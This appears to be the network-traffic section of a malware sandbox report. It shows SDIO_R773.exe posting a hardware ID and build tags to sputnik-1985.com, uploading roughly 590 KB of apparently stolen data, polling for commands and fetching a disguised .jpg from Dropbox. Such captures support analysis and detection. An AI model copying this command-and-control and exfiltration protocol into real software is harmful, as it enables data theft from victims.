2025-01-11 10:56:28 UTC	5097	OUT	Data Raw: 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2025-01-11 10:56:29 UTC	1131	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 10:56:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nq5vui61vqfip1rmkdjr13rlhp; expires=Wed, 07 May 2025 04:43:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uzvtWa%2Fu0YeG9vfXGgfUrmos4%2FbN9kwwpadTBBwXl03HK9ZJr%2FQYj0rcUG6VJ8UnWzjV9iv5Jge7zPJLUJ3ljO2fAXkE9o8Zp0H7Efr%2B9fRXAvW2fT%2Bc%2B8O2uE6uUjoHKQM6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90046163e9dd8ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1936&min_rtt=1931&rtt_var=735&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21478&delivery_rate=1476985&cwnd=168&unsent_bytes=0&cid=2cfb432faa2e71ae&ts=628&x=0"
2025-01-11 10:56:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-11 10:56:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	104.21.64.1	443	7528	C:\Users\user\Desktop\SDIO_R773.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 10:56:30 UTC	365	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5NLKGQ3BJ2AK5 Cookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1234 Host: sputnik-1985.com
2025-01-11 10:56:30 UTC	1234	OUT	Data Raw: 2d 2d 35 4e 4c 4b 47 51 33 42 4a 32 41 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 35 37 34 38 30 44 41 36 45 43 46 46 44 34 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 0d 0a 2d 2d 35 4e 4c 4b 47 51 33 42 4a 32 41 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 4e 4c 4b 47 51 33 42 4a 32 41 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 62 4c 37 4b 6b 2d 2d 30 32 0d 0a 2d 2d 35 4e 4c 4b 47 51 33 42 4a 32 41 4b 35 0d Data Ascii: --5NLKGQ3BJ2AK5Content-Disposition: form-data; name="hwid"4D57480DA6ECFFD4E2FCF1EEA745798E--5NLKGQ3BJ2AK5Content-Disposition: form-data; name="pid"1--5NLKGQ3BJ2AK5Content-Disposition: form-data; name="lid"BbL7Kk--02--5NLKGQ3BJ2AK5
2025-01-11 10:56:30 UTC	1124	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 10:56:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o0erj456ab29ku5lqrmhn9gbge; expires=Wed, 07 May 2025 04:43:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MfaI%2FmaSEmESV7Tdw3WqRouOYj%2BbzNY%2BZjAs5KNRUZL6bkSQu5TGlyzd20f4qLhgYh3ll%2BDSLpBlet5jcKGCigK9nbmKIvwowJmHdzMOOIwOSrcpafpiRKbvanh6fjV0Y0IC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9004616ddd73de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1607&min_rtt=1605&rtt_var=606&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2841&recv_bytes=2235&delivery_rate=1799137&cwnd=243&unsent_bytes=0&cid=c387b8a553c36f58&ts=435&x=0"
2025-01-11 10:56:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-11 10:56:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	104.21.64.1	443	7528	C:\Users\user\Desktop\SDIO_R773.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 10:56:31 UTC	367	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=53G1TXEPG3U24 Cookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 589917 Host: sputnik-1985.com
2025-01-11 10:56:31 UTC	15331	OUT	Data Raw: 2d 2d 35 33 47 31 54 58 45 50 47 33 55 32 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 35 37 34 38 30 44 41 36 45 43 46 46 44 34 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 0d 0a 2d 2d 35 33 47 31 54 58 45 50 47 33 55 32 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 33 47 31 54 58 45 50 47 33 55 32 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 62 4c 37 4b 6b 2d 2d 30 32 0d 0a 2d 2d 35 33 47 31 54 58 45 50 47 33 55 32 34 0d Data Ascii: --53G1TXEPG3U24Content-Disposition: form-data; name="hwid"4D57480DA6ECFFD4E2FCF1EEA745798E--53G1TXEPG3U24Content-Disposition: form-data; name="pid"1--53G1TXEPG3U24Content-Disposition: form-data; name="lid"BbL7Kk--02--53G1TXEPG3U24
2025-01-11 10:56:31 UTC	15331	OUT	Data Raw: 5b 35 eb dd d5 39 6c 8b 8c 8a aa e4 6d 93 59 6e 4e 13 dd 7a 45 4d 2a 71 d0 de 27 74 31 4b 15 1b 51 11 7f 9c 09 bc 0f 42 65 97 6a 66 4a af f1 e3 06 06 b7 f2 0a 89 8f 61 2f 75 c2 40 89 52 25 82 fe 3c bd d1 50 1b 33 74 e4 ec a4 76 f8 5f 1f f7 89 da 60 6e b7 f4 13 9c f9 9f 17 1e 9c 5a 33 9f 91 e9 aa 7a 90 ad 8e 66 4f ab 9b b2 df bf 4f 85 e8 3b 4c 85 6c e8 ab e6 1d 6c aa 9e a8 06 25 49 7b 42 0a ef ce b4 74 71 9e c9 af c0 0d f2 f7 40 5b 50 75 74 6f c2 69 ce 8e d9 42 93 30 f7 43 29 7b 71 d3 8c 21 17 37 1f e5 ae 55 de 10 de 86 f3 f9 eb eb 35 07 a9 e7 d9 e9 f3 3e 31 c2 00 e8 45 50 ad 51 29 34 cb 22 31 fa 4f f1 ee d5 93 7e cb 5f c2 73 40 8f b0 ef 6d dd 27 a0 a7 1a b0 83 77 af 27 1f fc e4 ba 9a 52 16 d8 e9 a6 c2 77 9f 8d 3a cd 36 9b db 5c e7 9d a4 c8 92 a9 b0 17 93 Data Ascii: [59lmYnNzEM*q't1KQBejfJa/u@R%<P3tv_`nZ3zfOO;Lll%I{Btq@[PutoiB0C){q!7U5>1EPQ)4"1O~_s@m'w'Rw:6\
2025-01-11 10:56:31 UTC	15331	OUT	Data Raw: 1e 92 f0 63 18 bb a0 5e d3 92 dc 1b af 28 36 0a ec 49 4d 2f 1b a1 e0 f9 d1 38 0e 50 fc 54 0c f6 e7 cd 94 76 df 78 72 98 a0 12 90 de c5 94 9b cd d6 b1 74 ae b3 36 42 89 7a 59 3c 8f e6 60 10 ec a6 ac 0d e5 bd 50 88 a6 0f 6d 81 45 8f 43 66 17 1b 24 05 75 dd ce bf 57 ba e0 b7 2f 52 48 ed 75 2a 8d f0 9d 96 99 01 27 f0 f9 42 d0 c9 8b aa bf ef b0 95 04 91 4c c2 20 ba c9 ee 72 1e e7 8a 18 36 b3 15 e6 17 7b bd 9e 04 f0 4d 5a df d9 ec fe 2a a0 5c 53 89 d5 5c f3 ea 7a 1a 6a e7 b2 31 f0 18 56 e6 74 9b 41 b7 4e 23 e6 f7 f2 38 8d b6 42 d4 7d 98 93 92 e7 49 1d 8c 48 2f de 18 c2 f3 88 6f 3c a2 ae 10 ef 43 87 4a 71 f6 79 06 70 fc de fc 43 a0 fc 5f 64 60 6c ce 17 47 ed 7d d1 f5 c3 db a5 37 a5 a3 c2 7d a7 ae 01 33 11 99 e5 c6 82 9c 8b b9 2e f6 30 27 6b 23 ac 83 a3 fd 81 63 Data Ascii: c^(6IM/8PTvxrt6BzY<`PmECf$uW/RHu'BL r6{MZ\S\zj1VtAN#8B}IH/o<CJqypC_d`lG}7}3.0'k#c
2025-01-11 10:56:31 UTC	15331	OUT	Data Raw: a2 83 ee 61 18 ab 23 cd f7 37 4c 12 8d c1 4a ca 45 d6 1f 3d 83 fe 63 a9 43 33 cf c3 57 a0 1c 64 f0 45 07 62 57 e2 76 f5 91 bb af 9a 6f 59 1b 3f 62 d8 74 04 79 00 41 c8 b9 e7 9c 5d 81 e2 ef ce aa a5 c1 5a 95 02 ce e9 01 21 b2 2f e7 28 7b 0c 05 c2 b3 5b 6a 25 32 2e ff 17 bf 3f ee dc f0 91 be f0 e5 93 f7 05 8b ce 81 2d 36 f3 82 e7 6b ee 0e 04 50 02 bc b6 2a f7 60 ab bb 2f d8 9f 8f aa 16 d5 2e 15 00 87 12 88 6c c8 75 5e da c4 6d a1 54 7e 9b 48 a9 2c c8 63 11 fd ea ee 44 c5 0b a7 54 f8 de de 04 9e f3 65 26 44 53 40 da 32 8c ec e7 86 37 53 e8 1b 91 77 38 27 21 de 04 78 e4 52 06 40 7e 27 88 df cd 7c b9 3c 7a 9e 20 fa 9c 61 a0 a7 2e 79 1f 52 5b 47 00 cd 00 0f 28 c4 c5 b2 da 06 58 4d 5e f0 29 88 90 fb b4 a8 84 27 3d a5 f0 74 1d fd a7 fa 17 e6 ce 4a 41 00 f5 f8 d7 Data Ascii: a#7LJE=cC3WdEbWvoY?btyA]Z!/({[j%2.?-6kP*`/.lu^mT~H,cDTe&DS@27Sw8'!xR@~'\|<z a.yR[G(XM^)'=tJA
2025-01-11 10:56:31 UTC	15331	OUT	Data Raw: ae fa c3 68 28 ce 49 e4 b5 37 4f 28 bc d6 b4 c6 a3 d4 94 a2 22 d9 03 c2 f5 7c b9 22 38 45 3f a5 83 dc dc e8 10 47 e8 95 ec 3a 69 e5 f3 d2 1a 0d 2b 96 d4 9c 6b 2a f2 db 4d 62 0c 1a ea aa ba 95 50 df 19 79 4f cc 62 af 88 cb 04 1f aa b5 92 04 27 6e 34 5e da f1 16 98 73 dc 1b cd 76 84 be f6 c3 e7 fb eb 67 36 47 7e f4 e9 49 b1 e5 35 1a 69 33 2d fb b5 47 23 62 63 d2 18 3c a1 50 bc bc eb 97 fb 95 ab 65 2a 80 e6 aa 32 38 bd 04 99 55 87 db e5 a8 a8 e2 e7 43 db 57 d6 fc 46 db 36 2c 2b 5a d6 5e 6f ba c5 45 d6 ad ab 1d e4 49 54 51 19 68 dc 88 f7 38 24 92 66 c8 45 6d 03 f6 a6 79 9a a1 3f 47 47 b9 6d 40 0b 82 ff be a7 e2 30 c9 b4 82 13 f2 23 5a b4 f9 ee e0 aa 77 3a c9 21 af 96 2b c3 69 9d e2 49 3c 0c 88 17 88 2d 0e a2 08 6d a1 39 6b 10 5f a1 01 de b9 0a 8d 16 58 47 c1 Data Ascii: h(I7O("\|"8E?G:i+kMbPyOb'n4^svg6G~I5i3-G#bc<Pe28UCWF6,+Z^oEITQh8$fEmy?GGm@0#Zw:!+iI<-m9k_XG
2025-01-11 10:56:31 UTC	15331	OUT	Data Raw: 78 b2 6d 15 1e 44 1c 66 5a 74 ab bc 4e cb 91 d8 14 93 9e 0e 29 d9 c2 6e ed 4d 19 b1 d8 9b 79 03 5f d6 60 22 33 01 cd 0f df 63 04 2e ba ca 87 ea 3b b7 d6 18 7b 62 44 ce 54 21 70 5e 2a 39 66 51 bc 35 e4 71 ea d8 6c 72 b5 c3 01 af 89 3e b5 c2 f4 02 d1 19 32 d2 7c 92 ef 7b 91 af 60 5f 8c 97 ba 4e f6 2e 65 75 8c 2a e0 85 44 45 99 6b f3 a9 85 d8 7e ff 4c 17 9b 49 81 c3 3a cd de be 5b fb 84 92 13 f6 e6 e9 70 f9 f4 12 21 23 4f 50 7c 68 64 07 c8 5c 38 c7 6c 60 1c ba ec 11 6b 8a 65 4d 7d 2c f8 54 d9 05 b9 a5 84 09 20 47 d8 11 bf e2 9f 10 69 04 ec 62 2e cf d4 c0 34 50 a3 12 36 39 3d 93 d3 8c 03 fb d5 da ed e1 c7 60 46 b1 fa 3f 46 49 6b f0 64 eb 15 9e c0 bd 80 05 55 f9 5e 24 d2 fc c8 a9 ca 99 ea e1 03 af 74 77 7d 75 ee 9d 6e 4d 2b b9 f3 1f 1d a2 bb 52 4c c2 c1 62 b4 Data Ascii: xmDfZtN)nMy_`"3c.;{bDT!p^9fQ5qlr>2\|{`_N.euDEk~LI:[p!#OP\|hd\8l`keM},T Gib.4P69=`F?FIkdU^$tw}unM+RLb
2025-01-11 10:56:31 UTC	15331	OUT	Data Raw: c5 f0 59 ff dd 2a e3 d2 b9 ae fe bf af dc 2d fd 56 fb cf ab 3b 65 fb 4a 97 26 75 77 13 b8 bd ad 7f 57 71 ff 0c ef 21 6c 2c a5 b5 62 17 5f 29 83 9e 34 81 41 0a 0c 8b 08 98 54 6d 5e 17 05 69 0c b0 58 37 fe fb 10 c8 46 c1 4c ed 4c 2d 9c 05 20 64 43 28 04 42 1c ac 8b 43 39 af 07 d4 7e 9d 46 f2 42 29 38 b9 65 f6 c1 1e 03 04 2f 5c 14 3f bc 9f 90 b5 79 b1 3f fd a3 c6 f7 9d 22 a6 e8 70 18 7e d6 74 79 b9 bb bb f2 cf c2 55 d1 d4 30 b6 61 8e d9 87 18 96 b7 f7 86 fb 8b 47 10 29 c3 8b 7e 08 cc 5a 7b 0b 03 11 41 6c 8b e4 76 73 44 de f2 7a c9 a3 e6 db 97 45 35 f1 bc 14 db 7f 74 e9 e1 05 4f 7c db 3f f0 aa 3c d4 25 07 cb 43 77 4a 41 10 06 3e 84 c1 bf db 85 17 40 fc 99 4a cf 16 b4 19 ab f2 e3 a3 1f 7f 3b 9e 2e 00 2e fd 60 c7 fe 00 85 2d c4 9a ca a4 20 9c 8d f5 24 e7 d6 4c Data Ascii: Y*-V;eJ&uwWq!l,b_)4ATm^iX7FLL- dC(BC9~FB)8e/\?y?"p~tyU0aG)~Z{AlvsDzE5tO\|?<%CwJA>@J;..`- $L
2025-01-11 10:56:31 UTC	15331	OUT	Data Raw: 38 5a e5 cf 4e 06 71 43 8c 30 23 56 41 fc e6 24 3f 18 e1 5b 25 dd 99 38 ba d1 97 91 f3 9f 6b f9 5d 46 70 31 eb e6 5d 83 b9 88 79 a5 3b dc 1c c1 c1 82 2f bb d3 7e 98 dc b7 db f0 5e 2c 6d 4b 53 4a 69 0d ad a9 70 b9 74 69 73 93 cd e2 dc 8f 37 e3 e8 33 8e ce 2d 5b 04 4e 48 c1 bd 16 12 dd 80 1a 23 f1 bf e0 31 1b 5c ce 7c 4c 60 59 8e 1c 89 e4 cc 96 4f b8 ba 0c ce 94 2f 77 af 70 90 8a 8a 21 65 6c 16 4a 0b 4b 9b 4c 79 ea 5f b2 a0 84 5b d3 14 88 c1 58 f2 91 f8 2c 4b 9b 08 92 84 ac 5f 84 73 03 48 bd 8a ad 1d 16 15 ee bf 17 14 5a 2b 29 47 08 89 45 df 18 71 04 19 cd 0d ce 39 60 33 34 02 ed ba 56 0b f3 be 64 5c c2 e2 e3 df 3f 16 84 87 05 a1 3f 69 74 f7 e0 cf 42 8c 55 ff 99 ad 09 ff 53 55 7c c1 67 7a 02 9a 6e 7d 4b 1b f9 ef cb c4 86 66 eb 81 21 ee c8 b1 57 60 71 6c 84 Data Ascii: 8ZNqC0#VA$?[%8k]Fp1]y;/~^,mKSJiptis73-[NH#1\\|L`YO/wp!elJKLy_[X,K_sHZ+)GEq9`34Vd\??itBUSU\|gzn}Kf!W`ql
2025-01-11 10:56:31 UTC	15331	OUT	Data Raw: d4 8f 89 3a a3 ab 17 dd 12 83 30 5d 41 5f 6b 98 60 65 f7 8c 4d bd 7d db ba e3 a9 5f 7f ea 6a ff de 16 64 97 bf c0 23 8a 8e bc 99 10 f2 6e 04 e5 75 69 74 d2 f2 8d 30 38 09 ed d5 9a 36 fa ac 3a 45 28 60 e1 5b 06 65 66 61 17 a6 c6 89 7c 13 b5 0b f5 6d 95 26 47 58 f6 a7 5e 03 5e 3f 12 f6 47 f0 73 0c d0 cd 85 96 51 0c 4e 59 1e da 85 2f 3f 41 cd 63 63 20 9f 4a 64 93 a2 ab ee a2 ed e8 d9 46 00 87 95 da 46 8a ed 4e d9 c5 53 6d 15 1c 2d c1 1a 60 a1 5f eb 2f 5e b9 ec a7 1d 5d 77 7b 88 0c cb 37 40 18 3c 5e 48 f1 f2 5b 15 e5 7b 0d f6 ba 33 bb d6 5e a8 0a 3d 36 d6 b9 1f 95 7e 81 75 04 a9 3a ab 81 4f 5d b7 cd db 78 e6 87 b7 e9 e6 c7 a9 9e cf 63 29 1e 7e ef 0a 68 19 38 83 c5 f1 91 8d 13 fc d6 1f c3 68 5d 12 26 df bf 89 b5 b2 3b a3 09 65 7c 3e eb fa 7a 3c c2 a4 29 9a f9 Data Ascii: :0]A_k`eM}_jd#nuit086:E(`[efa\|m&GX^^?GsQNY/?Acc JdFFNSm-`_/^]w{7@<^H[{3^=6~u:O]xc)~h8h]&;e\|>z<)
2025-01-11 10:56:31 UTC	15331	OUT	Data Raw: 72 1e d7 3b 9d a2 0e 55 7d 23 97 40 96 95 32 98 d9 3a 63 68 a3 7a 8a 8c 4c 73 68 a3 a2 46 79 ae 99 30 a7 d5 4d 3b ff ec b7 be 24 54 9b 44 71 9a 8c a0 94 61 5e 89 38 e4 5d 26 d7 86 c9 42 5b 64 3e 55 0a 01 11 bb a2 40 c2 51 16 67 dd 7f 8c c8 ee 8b 69 0f 2d c5 35 d7 05 e4 bf 62 a0 73 76 29 96 ff 3b 4e ca fe a8 b4 f6 4d 8e f6 6d f9 f4 00 5b 44 39 82 41 9e ff 75 11 57 98 6c c5 ac f1 ee 47 a9 ee e9 0f 29 92 ee d3 9d 5a 66 39 d4 65 45 da d7 be 53 29 27 b0 7e 64 a6 94 16 9d 27 36 7d 2b ef 56 0e 2b f4 d3 96 ec 7f 27 cc 9c 98 df 0e 48 4e b1 a1 b8 af 16 a7 c2 07 fe f5 32 d8 b3 fc a1 6e f6 c5 6c e4 7b e9 46 af f0 97 8b d5 7a 33 ee ca b3 96 ff a0 cf fe 83 76 8d 90 9a ad 16 ed 58 fb c6 ea 9b 29 4d fb d8 17 f0 44 ba 30 6f 3a e6 d8 ad 93 2e 41 7b dd ce 2b 5a 09 74 80 9b Data Ascii: r;U}#@2:chzLshFy0M;$TDqa^8]&B[d>U@Qgi-5bsv);NMm[D9AuWlG)Zf9eES)'~d'6}+V+'HN2nl{Fz3vX)MD0o:.A{+Zt
2025-01-11 10:56:33 UTC	1133	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 10:56:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jddtql0bnpa8k33qt9av3nd252; expires=Wed, 07 May 2025 04:43:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qza4Xr7mo%2F7C10nsE1FZ1KJhcmgbtC1fzLoy641mSbvKf%2FtDUQiAdFqTlXZS1whR4ospJGhqJqYnB4cfmdJoT6KMuy7vSG8LexZRpjJ6IVNp3Rtoy4vxBhc9u3It%2Fh%2FMb8%2BU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900461764826c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1676&min_rtt=1675&rtt_var=631&sent=350&recv=606&lost=0&retrans=0&sent_bytes=2839&recv_bytes=592592&delivery_rate=1730883&cwnd=155&unsent_bytes=0&cid=3dc73bf906c7bcff&ts=1950&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	104.21.64.1	443	7528	C:\Users\user\Desktop\SDIO_R773.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 10:56:34 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 79 Host: sputnik-1985.com
2025-01-11 10:56:34 UTC	79	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 62 4c 37 4b 6b 2d 2d 30 32 26 6a 3d 26 68 77 69 64 3d 34 44 35 37 34 38 30 44 41 36 45 43 46 46 44 34 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 Data Ascii: act=get_message&ver=4.0&lid=BbL7Kk--02&j=&hwid=4D57480DA6ECFFD4E2FCF1EEA745798E
2025-01-11 10:56:34 UTC	1118	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 10:56:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=glrfk5b9c0b9fobohdcefs2ok0; expires=Wed, 07 May 2025 04:43:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DdZMPEMNkWdHQbyifwx9pzmXPUAZ7F448VEMYwyzj9RcMrTY7ku3MTRDwLBmG2sD%2BXVBbhPrf5nTSc9mLhLS1BHwFzSZeEEMEDrbL7WHs2sbBj0pudSgtWUpkiZB9CtUPZjK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900461854dff7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1964&min_rtt=1962&rtt_var=740&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1068&delivery_rate=1475492&cwnd=218&unsent_bytes=0&cid=02b304c69de5b9e2&ts=462&x=0"
2025-01-11 10:56:34 UTC	251	IN	Data Raw: 66 38 0d 0a 6f 61 76 66 55 35 4f 33 67 61 6b 77 55 5a 2b 50 6f 37 51 4f 6b 77 7a 6e 54 53 34 56 37 31 6c 4c 68 78 50 73 4e 57 48 32 4f 53 6a 36 30 50 30 6d 73 59 32 6a 77 55 51 6c 37 2f 79 5a 36 43 48 50 49 35 41 36 57 54 75 4c 4b 79 54 33 63 59 4e 4e 54 35 56 57 52 66 32 45 72 44 44 2f 36 36 37 50 57 51 32 77 2b 39 6e 44 4f 71 55 39 6c 69 73 61 49 59 45 34 4a 76 42 38 6e 45 63 56 68 31 41 5a 2f 59 53 38 4f 2f 4c 5a 37 38 78 63 49 71 75 39 6c 2b 74 73 38 6d 4b 4a 4b 46 77 37 68 53 6b 73 75 47 47 41 58 67 53 50 42 45 2f 47 33 4b 31 71 70 73 54 74 77 51 6c 6a 2b 62 32 58 33 6d 44 31 5a 6f 34 2f 52 47 79 56 49 44 69 68 59 4a 67 49 57 59 4a 41 55 64 75 65 73 47 53 31 30 2b 32 55 41 58 4f 7a 72 63 58 41 4c 4b 6b 38 79 32 39 4c 4e 39 56 70 4e 74 6f Data Ascii: f8oavfU5O3gakwUZ+Po7QOkwznTS4V71lLhxPsNWH2OSj60P0msY2jwUQl7/yZ6CHPI5A6WTuLKyT3cYNNT5VWRf2ErDD/667PWQ2w+9nDOqU9lisaIYE4JvB8nEcVh1AZ/YS8O/LZ78xcIqu9l+ts8mKJKFw7hSksuGGAXgSPBE/G3K1qpsTtwQlj+b2X3mD1Zo4/RGyVIDihYJgIWYJAUduesGS10+2UAXOzrcXALKk8y29LN9VpNto
2025-01-11 10:56:34 UTC	3	IN	Data Raw: 3d 0d 0a Data Ascii: =
2025-01-11 10:56:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	162.125.66.18	443	7528	C:\Users\user\Desktop\SDIO_R773.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 10:56:35 UTC	290	OUT	GET /scl/fi/tzw461qf44namwoprtqi1/channels424_banner.jpg?rlkey=ggwr95slh92f24jnfjirjyzys&st=8tyyz5o7&dl=1 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.dropbox.com
